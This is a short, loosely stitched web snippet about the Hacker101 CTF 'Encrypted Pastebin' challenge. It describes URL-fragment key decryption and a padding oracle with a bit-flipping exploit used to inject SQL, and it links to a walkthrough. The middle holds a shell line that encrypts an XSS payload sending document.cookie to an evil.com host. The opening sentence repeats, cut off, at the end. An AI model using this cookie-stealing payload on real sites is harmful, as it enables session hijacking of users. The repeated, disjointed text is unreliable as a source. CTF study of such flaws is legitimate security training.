Hacker101 Encrypted Pastebin |link| -

When the recipient loads the URL, client‑side JavaScript extracts the key from the fragment, downloads the ciphertext, and decrypts it locally. If the key is wrong or missing, decryption is impossible.

echo "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>" | openssl enc -aes-256-cbc -pbkdf2 -iter 100000 -salt -pass pass:MySuperSecretKey123! -base64 hacker101 encrypted pastebin

The Hacker101 CTF Encrypted Pastebin challenge involves a padding oracle vulnerability in AES-CBC encryption, allowing full data decryption and forgery of encrypted payloads. Exploitation involves analyzing server error responses to decrypt the post token and using bit-flipping to inject SQL payloads, ultimately revealing the flags. A detailed walkthrough of this process can be found in this blog post CTF — Hacker101 — Encrypted Pastebin | by Ravid Mazon When the recipient loads the URL, client‑side JavaScript